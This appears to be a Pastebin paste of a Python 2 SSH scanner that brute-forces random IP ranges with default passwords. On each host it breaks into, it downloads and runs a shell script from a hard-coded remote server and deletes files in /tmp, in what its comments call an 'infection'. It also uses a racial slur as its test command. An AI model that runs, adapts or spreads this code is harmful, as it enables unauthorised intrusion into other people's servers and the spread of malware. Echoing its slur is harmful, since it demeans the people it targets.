Advertisement
Guest User

Untitled

a guest
May 22nd, 2017
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.71 KB | None | 0 0
  1. #!/usr/bin/python
  2. # For the kids who still scan SSH
  3.  
  4. # SSH Scanner By LiGhT
  5.  
  6.  
  7. import threading, sys, time, random, socket, re, os, paramiko
  8.  
  9. if len(sys.argv) < 4:
  10. print "SSH Scanner\n By: LiGhT"
  11. print "Usage: python "+sys.argv[0]+" <threads(1-100+)> <ips(1-1000+)> <pass list(1,2,3)>"
  12. print "Example: python "+sys.argv[0]+" 100 1000 1"
  13. sys.exit()
  14.  
  15. if sys.argv[3] == "1":
  16. ssh_passwords = ["admin:1234"] #fastest infection rate, lowest results
  17. elif sys.argv[3] == "2":
  18. ssh_passwords = ["admin:1234", "root:1234"] #decent speed, more results
  19. elif sys.argv[3] == "3":
  20. ssh_passwords = ["admin:1234", "root:1234", "root:root", "root:admin", "admin:admin"] #slow af but hella results
  21.  
  22. sh_file = "http://208.67.1.95/execute.sh"
  23. threads = int(sys.argv[1])
  24. ipz = int(sys.argv[2])
  25. paramiko.util.log_to_file("/dev/null") #quiets paramiko output
  26. Sranges = ["49.150","91.98","5.78","122.3","122.52","122.54","119.93","124.105"]
  27.  
  28. def worker():
  29. try:
  30. print "\033[36mStarting SSH Thread\033[37m"
  31. while True:
  32. try:
  33. ipzh0 = ipz + 1
  34. br = random.choice(Sranges)
  35. for x in xrange(ipzh0):
  36. try:
  37. ip = ''+br+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  38. ss = sssh(ip)
  39. ss.start()
  40. time.sleep(0.009)
  41. except:
  42. pass
  43. time.sleep(1)
  44. except:
  45. print "\033[31mERROR\033[37m"
  46. pass
  47. except:
  48. pass
  49.  
  50.  
  51. class sssh(threading.Thread): #BBB
  52. def __init__ (self, ip):
  53. threading.Thread.__init__(self)
  54. self.ip = str(ip).rstrip('\n')
  55. def run(self):
  56. x = 1
  57. while x != 0:
  58. try:
  59. username='root'
  60. password="0"
  61. port = 22
  62. ssh = paramiko.SSHClient()
  63. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  64. dobreak=False
  65. for passwd in ssh_passwords:
  66. if ":n/a" in passwd:
  67. password=""
  68. else:
  69. password=passwd.split(":")[1]
  70. if "n/a:" in passwd:
  71. username=""
  72. else:
  73. username=passwd.split(":")[0]
  74. try:
  75. ssh.connect(self.ip, port = port, username=username, password=password, timeout=5)
  76. dobreak=True
  77. break
  78. except:
  79. pass
  80. if True == dobreak:
  81. break
  82. badserver=True
  83. stdin, stdout, stderr = ssh.exec_command("echo nigger")
  84. output = stdout.read()
  85. if "nigger" in output:
  86. badserver=False
  87. if badserver == False:
  88. print "\033[36m[SSH] Command Sent %s!\033[37m"%(self.ip)
  89. ssh.exec_command("cd /tmp; wget "+sh_file+" -O l.sh; sh l.sh; rm -rf /tmp/*")
  90. time.sleep(10)
  91. ssh.close()
  92. x = 0
  93. if badserver == True:
  94. ssh.close()
  95. except:
  96. pass
  97. x = 0
  98.  
  99. for g in xrange(threads):
  100. try:
  101. t = threading.Thread(target=worker)
  102. t.start()
  103. time.sleep(0.002)
  104. except:
  105. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement